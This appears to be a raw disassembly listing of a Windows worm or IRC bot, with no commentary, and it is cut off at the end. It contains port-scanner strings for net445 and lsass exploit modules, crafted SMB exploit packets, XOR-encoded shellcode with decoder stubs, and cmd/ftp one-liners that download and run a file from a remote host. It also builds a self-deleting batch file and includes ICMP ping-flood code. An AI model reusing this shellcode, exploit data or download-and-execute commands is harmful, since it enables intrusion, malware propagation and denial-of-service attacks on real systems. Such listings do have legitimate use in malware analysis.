; sub_420F10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o ; sub_420F10:loc_42117Eo ... aHttp db 'http',0 ; DATA XREF: sub_420F10+84o ; sub_420F10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_445428 dd 1BDh ; sub_422B40+310o ... off_44542C dd offset sub_401820 ; DATA XREF: ___:00423F8Dr dword_445430 dd 0 ; sub_4236F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401820h, 0 dd 1, 0 aNet445 db 'net445',0 align 10h dd 656E0000h, 35343474h, 6 dup(0) dd 1BDh, 402199h, 0 dd 1, 0 aLsass db 'lsass',0 align 4 dd 736C0000h, 737361h, 6 dup(0) dd 1BDh, 401DCAh, 0 dd 1, 1Fh dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422B40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422B40+747o off_4455F0 dd offset dword_612D20 ; DATA XREF: sub_422B40+737o ; sub_422B40+7A3o ... dword_4455F4 dd 722D20h ; sub_422B40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do align 4 dd 0 dword_4456EC dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423DD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004242B7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424206o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042414Fo dd 3 dup(0) aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_424920+BDo align 10h dword_4458B0 dd 10FF8h, 0 dword_4458B8 dd 10FF8h dword_4458BC dd 7FFDF020h, 0 dword_4458C4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44594C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44597C dd 0 dword_445980 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_445988 proc near ; DATA XREF: sub_425100+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_445A84 push dword ptr [esi] push 63D61209h call sub_445A9A mov [esi+8], eax call sub_445A4D push dword ptr [esi+4] push 0CA2BD06Bh call sub_445A9A mov [esi+0Ch], eax call sub_4459FF push dword ptr [esi+4] push 4C0297FAh call sub_445A9A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_445988 endp ; =============== S U B R O U T I N E ======================================= sub_4459FF proc near ; CODE XREF: sub_445988+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_445A28 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4459FF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A28 proc near ; CODE XREF: sub_4459FF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_445A37: ; CODE XREF: sub_445A28+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_445A44 inc ebx jmp short loc_445A37 ; --------------------------------------------------------------------------- loc_445A44: ; CODE XREF: sub_445A28+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_445A28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A4D proc near ; CODE XREF: sub_445988+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_445A65: ; CODE XREF: sub_445A4D+1Ej cmp [ecx], ebx jz short loc_445A6D mov ecx, [ecx] jmp short loc_445A65 ; --------------------------------------------------------------------------- loc_445A6D: ; CODE XREF: sub_445A4D+1Aj mov edx, edi loc_445A6F: ; CODE XREF: sub_445A4D+2Aj cmp [edx+4], ebx jz short loc_445A79 mov edx, [edx+4] jmp short loc_445A6F ; --------------------------------------------------------------------------- loc_445A79: ; CODE XREF: sub_445A4D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_445A4D endp ; =============== S U B R O U T I N E ======================================= sub_445A84 proc near ; CODE XREF: sub_445988+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_445A84 endp ; =============== S U B R O U T I N E ======================================= sub_445A9A proc near ; CODE XREF: sub_445988+16p ; sub_445988+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_445AB0: ; CODE XREF: sub_445A9A+33j jecxz short loc_445AEA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_445ABD: ; CODE XREF: sub_445A9A+2Dj lodsb cmp al, ah jz short loc_445AC9 ror edi, 0Dh add edi, eax jmp short loc_445ABD ; --------------------------------------------------------------------------- loc_445AC9: ; CODE XREF: sub_445A9A+26j cmp edi, [esp+20h+arg_0] jnz short loc_445AB0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_445AEA: ; CODE XREF: sub_445A9A:loc_445AB0j ; sub_445A9A:loc_445AEAj jmp short loc_445AEA sub_445A9A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_445AF0 proc near ; DATA XREF: sub_425100+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_445B42 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_445B0D: ; CODE XREF: sub_445AF0+38j jecxz short loc_445B3D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_445B18: ; CODE XREF: sub_445AF0+32j lodsb test al, al jz short loc_445B24 ror edx, 0Dh add edx, eax jmp short loc_445B18 ; --------------------------------------------------------------------------- loc_445B24: ; CODE XREF: sub_445AF0+2Bj cmp edx, [esp+arg_0] jnz short loc_445B0D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_445B3D: ; CODE XREF: sub_445AF0:loc_445B0Dj mov [esp+arg_0], ebx retn sub_445AF0 endp ; =============== S U B R O U T I N E ======================================= sub_445B42 proc near ; CODE XREF: sub_445AF0+7p ; FUNCTION CHUNK AT 00445B7A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_445B5B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_445B66 ; --------------------------------------------------------------------------- loc_445B5B: ; CODE XREF: sub_445B42+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_445B66: ; CODE XREF: sub_445B42+14j pop edi xor esi, esi pusha push esi jmp short loc_445B7A sub_445B42 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445B6D proc near ; CODE XREF: sub_445B42:loc_445B7Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_445B6D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445B42 loc_445B7A: ; CODE XREF: sub_445B42+29j call sub_445B6D ; END OF FUNCTION CHUNK FOR sub_445B42 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_445C14 dd 23h dword_445C18 dd 60h dword_445C1C dd 62B0606h, 2050501h, 0A0hdword_445C28 dd 0A1h dword_445C2C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do align 4 loc_445C38: ; DATA XREF: sub_424920+100o jmp short near ptr dword_445C40 ; --------------------------------------------------------------------------- align 10h dword_445C40 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425100+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- jmp short loc_445CFA ; =============== S U B R O U T I N E ======================================= sub_445CEA proc far ; CODE XREF: sub_445CEA:loc_445CFAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_445CF2: ; CODE XREF: sub_445CEA+Cj xor byte ptr [ebx+ecx], 99h loop loc_445CF2 jmp short loc_445CFF ; --------------------------------------------------------------------------- loc_445CFA: ; CODE XREF: ___:00445CE8j call near ptr sub_445CEA loc_445CFF: ; CODE XREF: sub_445CEA+Ej jo short loc_445D63 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_445D81 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_445D63: ; CODE XREF: sub_445CEA:loc_445CFFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_445D81: ; CODE XREF: sub_445CEA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_445CEA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_445E28: ; DATA XREF: sub_4257F0+12Bo ; sub_4257F0+135o ... jmp short loc_445E3A ; =============== S U B R O U T I N E ======================================= sub_445E2A proc near ; CODE XREF: sub_445E2A:loc_445E3Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_445E32: ; CODE XREF: sub_445E2A+Cj xor byte ptr [edx+ecx], 99h loop loc_445E32 jmp short loc_445E3F ; --------------------------------------------------------------------------- loc_445E3A: ; CODE XREF: ___:loc_445E28j call sub_445E2A loc_445E3F: ; CODE XREF: sub_445E2A+Ej jo short near ptr dword_445DB8+1Eh cwde cdq cdq retn sub_445E2A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_445ED8 dw 4B9Dh ; DATA XREF: sub_4257F0+105w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_445FC0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:00425E52o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44604C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425E87o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_4460F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425EB6o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4461D8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+5Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h db 43h, 0, 24h dword_44622F dd 3F000000h dword_446233 dd 3F3F3F3Fh byte_446237 db 0 ; DATA XREF: sub_4257F0+B4r dd 0 dword_44623C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2C2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4462A8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2F5o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44634C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+3FAo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4463CC dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_446460 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+335o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4464CC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+368o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_446540 dd 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 3 dup(0) dword_4465CC dd 1004600h ; sub_4257F0+24Fr dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0) dword_4467B4 dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o align 4 dd 0 aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o align 10h aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo dd 0 aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o align 10h dd 0 aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o align 4 dd 0 aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo align 8 aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo align 10h aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o align 4 dd 0 aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao align 8 aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo align 10h dd 0 aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o align 10h dword_446900 dd 6EB06EBh align 8 dword_446908 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o dword_446914 dd 1CEC8166h dword_446918 dd 0E4FF07h align 10h dword_446920 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44696C dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_44699C dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 2 dup(0) dword_4469BC dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_4469C6: ; CODE XREF: ___:004469D0j xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_4469C6 sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0) aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge' ; DATA XREF: sub_426070+D6o db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 4 dd 6 dup(0) aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o align 8 word_446C28 dw 2EBh ; DATA XREF: ___:00426331r align 4 dword_446C2C dd 215h dd 0 dword_446C34 dd 20804h dd 0 ; --------------------------------------------------------------------------- loc_446C3C: ; DATA XREF: sub_4267D0+CCo jmp short loc_446C40 ; --------------------------------------------------------------------------- loc_446C3E: ; CODE XREF: ___:loc_446C40p jmp short loc_446C45 ; --------------------------------------------------------------------------- loc_446C40: ; CODE XREF: ___:loc_446C3Cj call loc_446C3E loc_446C45: ; CODE XREF: ___:loc_446C3Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_446C4A dw 0FFFFh ; DATA XREF: sub_4267D0+D3w db 80h, 73h, 0Eh byte_446C4F db 0FFh ; DATA XREF: sub_4267D0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_446C54: ; DATA XREF: sub_4267D0+A7o jmp short loc_446C58 ; --------------------------------------------------------------------------- loc_446C56: ; CODE XREF: ___:loc_446C58p jmp short loc_446C5D ; --------------------------------------------------------------------------- loc_446C58: ; CODE XREF: ___:loc_446C54j call loc_446C56 loc_446C5D: ; CODE XREF: ___:loc_446C56j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_446C61 db 0FFh ; DATA XREF: sub_4267D0+AEw dw 7380h db 0Ch byte_446C65 db 0FFh ; DATA XREF: sub_4267D0+B4w dw 0E243h dd 0F9h dword_446C6C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_426560+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_446CD0 dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_446CE0 dd 74656720h byte_446CE4 db 20h ; DATA XREF: sub_426560+A2r dword_446CE5 dd 0E8006A00h dword_446CE9 dd 17h ; sub_426560+D2r dword_446CED dd 0E8C30175h dword_446CF1 dd 1 ; sub_426560+E7r byte_446CF5 db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o dd 7E8h db 0, 0Fh, 84h dword_446CFF dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_427740+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_427990+D0o align 4 dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o align 10h dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o align 4 dd 0 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo align 10h aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o align 10h dd 0 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: 